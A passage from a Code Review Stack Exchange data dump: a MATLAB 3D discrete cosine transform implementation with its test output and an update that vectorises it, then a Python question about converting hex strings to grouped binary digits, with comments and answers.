-0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
-0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000
-0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000
-0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000
-0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000
-0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000
0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000
3D DCT result: 5 plane
-0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000
0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
-0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000
0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000
0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000
-0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000
-0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000
3D DCT result: 6 plane
-0.282843 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000
-0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000
-0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000
-0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000
-0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000
-0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000
0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000
0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000
3D DCT result: 7 plane
0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000
-0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000
0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000
-0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000
0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000
-0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000
-0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000
0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000
0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000
-0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000
3D DCT result: 8 plane
-0.114371 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000
-0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000
-0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000
-0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000
0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000
-0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000
-0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000
-0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000
-0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000
0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000
3D DCT result: 9 plane
-0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000
0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000
0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000
0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000
-0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000
0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000
-0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000
0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000
-0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000
0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000
3D DCT result: 10 plane
-0.032072 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
-0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000
0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
-0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000
-0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000
-0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000
0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000
-0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000
0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000
-0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
</code></pre>
<p>Another test pattern:</p>
<pre><code>%% Create test cells
testCellsSize = 10;
test = zeros(testCellsSize, testCellsSize, testCellsSize);
for z = 1:size(test, 3)
test(:, :, z) = mod(z, 2) * 255;
end
%% Perform test
result = DCT3D(test);
%% Print output
for z = 1:size(result, 3)
fprintf('3D DCT result: %d plane\n' , z);
for x = 1:size(result, 1)
for y = 1:size(result, 2)
fprintf('%f\t' , result(x, y, z));
end
fprintf('\n');
end
fprintf('\n');
end
%% Visualize result
for z = 1:size(result, 3)
fig = figure;
mesh(result(:, :, z));
saveas(fig, [num2str(z) '.bmp'], 'bmp');
end
</code></pre>
<p>The output of the test code above:</p>
<pre><code>3D DCT result: 1 plane
360.624458 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000
-0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000
0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000
-0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000
0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000
-0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000
0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000
-0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000
3D DCT result: 2 plane
51.635721 -0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000
0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000
0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000
0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000
0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
-0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000
0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000
-0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000
0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000
3D DCT result: 3 plane
-0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
-0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000
-0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000
-0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000
-0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000
3D DCT result: 4 plane
57.238638 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000
-0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000
-0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
-0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000
-0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000
0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
-0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000
0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
3D DCT result: 5 plane
-0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000
-0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000
-0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000
0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
-0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000
0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000
-0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000
3D DCT result: 6 plane
72.124892 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000
-0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000
0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
-0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000
0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000
0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000
0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000
-0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
3D DCT result: 7 plane
-0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000
0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000
0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000
0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000
0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
-0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
-0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000
-0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000
-0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000
3D DCT result: 8 plane
112.337152 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000
0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000
-0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000
0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000
0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000
-0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 0.000000
0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000
3D DCT result: 9 plane
0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000
-0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000
-0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000
-0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000
-0.000000 -0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000 -0.000000
-0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000
0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000
0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000
3D DCT result: 10 plane
326.015114 0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 0.000000
-0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000
0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000
-0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 -0.000000 0.000000 -0.000000 0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000
0.000000 -0.000000 -0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000 -0.000000
0.000000 -0.000000 0.000000 0.000000 0.000000 0.000000 -0.000000 0.000000 -0.000000 -0.000000
-0.000000 0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000 -0.000000 0.000000 -0.000000
0.000000 0.000000 0.000000 0.000000 -0.000000 -0.000000 -0.000000 0.000000 -0.000000 0.000000
</code></pre>
<p>The output figures:</p>
<p><a href="https://i.stack.imgur.com/HWGlj.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/HWGlj.png" alt="Plane1" /></a></p>
<p><a href="https://i.stack.imgur.com/n1Ezd.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/n1Ezd.png" alt="Plane2" /></a></p>
<p><a href="https://i.stack.imgur.com/PhoV8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/PhoV8.png" alt="Plane3" /></a></p>
<p><a href="https://i.stack.imgur.com/e8w9j.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/e8w9j.png" alt="Plane4" /></a></p>
<p><a href="https://i.stack.imgur.com/QHgrn.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/QHgrn.png" alt="Plane5" /></a></p>
<p><a href="https://i.stack.imgur.com/TODam.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/TODam.png" alt="Plane6" /></a></p>
<p><a href="https://i.stack.imgur.com/BHsK7.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BHsK7.png" alt="Plane7" /></a></p>
<p><a href="https://i.stack.imgur.com/qb5f5.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/qb5f5.png" alt="Plane8" /></a></p>
<p><a href="https://i.stack.imgur.com/Za3KN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Za3KN.png" alt="Plane9" /></a></p>
<p><a href="https://i.stack.imgur.com/pxOdx.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/pxOdx.png" alt="Plane10" /></a></p>
<p><strong>Test Platform Information</strong></p>
<p>Matlab version: '9.10.0.1629609 (R2021a)'</p>
<h3>Sep. 9, 2021 Update</h3>
<p>With referring <a href="https://codereview.stackexchange.com/a/267720/231235">Cris Luengo's answer</a>, I realized that not only 3D IDCT, but also 3D DCT can be vectorized as the following code.</p>
<pre><code>function out = DCT3D(x)
[N1,N2,N3] = size(x);
out = DCT1D(x, 1);
out = DCT1D(out, 2);
out = DCT1D(out, 3);
out = 8 .* out ./ (N1 * N2 * N3);
end
function out = DCT1D(x, dim)
N = size(x, dim);
sz = ones(1,3);
sz(dim) = N;
index = {':',':',':'};
out = zeros(size(x));
for n = 0:N-1
alpha = cos(pi/(2*N)*(2*(0:N-1)+1)*n);
alpha = reshape(alpha, sz);
index{dim} = n + 1;
sum_result = sum(x .* alpha, dim);
if n == 0
sum_result = sum_result / sqrt(2);
end
out(index{:}) = sum_result;
end
end
</code></pre>
<p>The implementation of this version have been tested with the test cases above.</p>
<p><strong>Reference</strong></p>
<ul>
<li><p>Malavika Bhaskaranand and Jerry D. Gibson, “Distributions of 3D DCT coefficients for video,” in Proceedings of the IEEE International Conference on Acoustics, Speech and Signal Processing, 2009.</p>
</li>
<li><p>J. Augustin Jacob and N. Senthil Kumar, “Determining Optimal Cube for 3D-DCT Based Video Compression for Different Motion Levels,” ICTACT Journal on Image and Video Processing, Vol. 03, November 2012.</p>
</li>
<li><p>Related <a href="https://codegolf.stackexchange.com/q/219203/100303">Code Golf coding challenge</a>.</p>
</li>
</ul>
<p>If there is any possible improvement, please let me know.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-21T01:43:45.297",
"Id": "515074",
"Score": "1",
"body": "I don’t have time to write a full answer, but I’ll leave three short comments: (1) `parfor` is always best used as the outer loop. (2) Vectorize your code. (3) The DCT is separable."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T22:43:28.033",
"Id": "260212",
"Score": "1",
"Tags": [
"performance",
"algorithm",
"matrix",
"matlab"
],
"Title": "Parallel 3D Discrete Cosine Transformation Implementation in Matlab"
}
|
260212
|
<p>This code returns a string of binary in 4-digit forms for a given hex in the form of string</p>
<pre><code>def str_bin_in_4digits(aString):
retStr = ''
for i in aString:
retStr = retStr+"{0:04b}".format(int(i, 16))+" "
return retStr.strip()
</code></pre>
<p>for example,</p>
<pre><code>>>> str_bin_in_4digits("20AC")
0010 0000 1010 1100
</code></pre>
<p>The code works as expected and my concern is could it be more elegant, like faster or less memory consumption?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T06:39:41.683",
"Id": "513644",
"Score": "0",
"body": "this question better fit to portal [stackoverflow.com](https://stackoverflow.com/)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T15:00:44.277",
"Id": "513669",
"Score": "0",
"body": "You should probably be using the inbuilt `binascii` module for this. (https://stackoverflow.com/a/1425500/10534470)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T04:16:10.100",
"Id": "513700",
"Score": "1",
"body": "@furas what makes you say that? The code is as complete as can be expected, and works."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T04:49:51.900",
"Id": "513703",
"Score": "0",
"body": "@Reinderien I send a lot of time on Stackoverflow and I see many questions which shows only part of code - like in question - and for me it fit to Stackoverflow."
}
] |
[
{
"body": "<p>I don't know if there is faster or less memory consumption method but you can write it more elegant using list</p>\n<pre><code>def str_bin_in_4digits(aString):\n\n data = []\n\n for i in aString:\n data.append( "{0:04b}".format(int(i, 16)) )\n\n retStr = " ".join(data)\n\n return retStr # doesn't need strip()\n</code></pre>\n<p>and then you could write it also as list comprehension</p>\n<pre><code>def str_bin_in_4digits(aString):\n\n data = ["{0:04b}".format(int(i, 16)) for i in aString]\n retStr = " ".join(data)\n\n return retStr # doesn't need strip()\n</code></pre>\n<p>and then you could even reduce to one line</p>\n<pre><code>def str_bin_in_4digits(aString):\n\n return " ".join(["{0:04b}".format(int(i, 16)) for i in aString])\n</code></pre>\n<p>Maybe even using list comprehension it can be little faster but for small string you may not see it.</p>\n<p>Now you have to only choose version which is the most readable for you.</p>\n<hr />\n<p>Problem is that you have <code>4-bits values</code> (single hex char).</p>\n<p>For full <code>8-bits</code> you could convert from hex to bytes using</p>\n<pre><code> bytes_data = bytes.fromhex('0A 0B 0C')\n\n bytes_data = bytes.fromhex('0A0B0C')\n</code></pre>\n<p>and later you could again use list comprehension - using <code>f-string</code> it could even shorter</p>\n<pre><code> data = [f'{x:04b}' for x in bytes_data]\n</code></pre>\n<p>But with with <code>8-bits</code> you would have to split it to <code>4-bits</code> using something like this</p>\n<pre><code>bytes_data[0] >> 4, bytes_data[0] & 0x0f\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T04:14:49.997",
"Id": "513699",
"Score": "1",
"body": "If you believe this question to be off topic, why answer it?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T04:48:04.707",
"Id": "513702",
"Score": "0",
"body": "@Reinderien because I like to resolve problems. And this problem seems interesting for me. But usually I do it on Stackoverflow."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T07:25:27.370",
"Id": "513710",
"Score": "1",
"body": "please avoid using `camelCasing` for variables in python :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T07:29:58.113",
"Id": "513711",
"Score": "0",
"body": "@hjpotter92 OP used `aString` so I decided to keep it and not add in answer [PEP 8 -- Style Guide forPython Code](https://www.python.org/dev/peps/pep-0008/)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T01:57:44.787",
"Id": "513772",
"Score": "0",
"body": "*If you believe this question to be off topic, why answer it?* \"off topic\" means the question does not meet the forum entry criteria and/or exit goals, so to speak. A context of code improvement vis-a-vis a debugging session, let's say. In the wrong forum-category the question is not necessarily categorically unanswerable (although that is the case at times). So far, I've not seen *Code Review* petagogy suddenly become anti-helpful or plain wrong upon moving to another forum."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T06:48:44.780",
"Id": "260219",
"ParentId": "260215",
"Score": "1"
}
},
{
"body": "<p>The problem is to take a hex string and convert it to the equivalent binary string. Each character in the input string maps to a one or more characters in the output string, e.g., '0' -> '0000', ... 'A' -> '1010', ... 'F' -> '1111'. This is a perfect fit for <code>string.translate()</code></p>\n<pre><code>table = ''.maketrans({'0':'0000 ', '1':'0001 ', '2':'0010 ', '3':'0011 ',\n '4':'0100 ', '5':'0101 ', '6':'0110 ', '7':'0111 ',\n '8':'1000 ', '9':'1001 ', 'A':'1010 ', 'B':'1011 ',\n 'C':'1100 ', 'D':'1101 ', 'E':'1110 ', 'F':'1111 '})\n\n\ndef str_bin_in_4digits(hex_string):\n return hex_string.upper().translate(table)\n</code></pre>\n<p>It's 6-7 times faster.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T23:05:19.223",
"Id": "513764",
"Score": "2",
"body": "This does not work. It is missing the required `str.maketrans(...)` call, so the translate table is not correct. Instead of calling `.upper()`, creating an unnecessary temporary result, it would be more efficient to include both A-F and a-f translations in the table. Finally, this does not add spaces in the resulting groups of 4 digits."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T15:27:19.250",
"Id": "513811",
"Score": "0",
"body": "Please fix this so I can upvote it; `str.translate(...)` is my favourite function and this can be a great solution. The translate table needs ordinal number keys, as in `table = {ord('0'): '0000', ...` or `table = {48: '0000', ...` to work, but it would be simpler to just use `table = str.maketrans({'0': '0000', ...)` to do this one-time initialisation. To get space-separated 4-digit groups, add a space at the end of each table value and strip the final space from the result."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T21:32:01.413",
"Id": "513832",
"Score": "0",
"body": "@AJNeufeld, Fixed. I left out a Jupyter cell when copying the code over."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T13:41:51.783",
"Id": "513897",
"Score": "0",
"body": "Much better. But it could still use a `.strip()` or `[:-1]` to removed the trailing space, like the OP's code originally did."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T05:55:10.287",
"Id": "260244",
"ParentId": "260215",
"Score": "3"
}
},
{
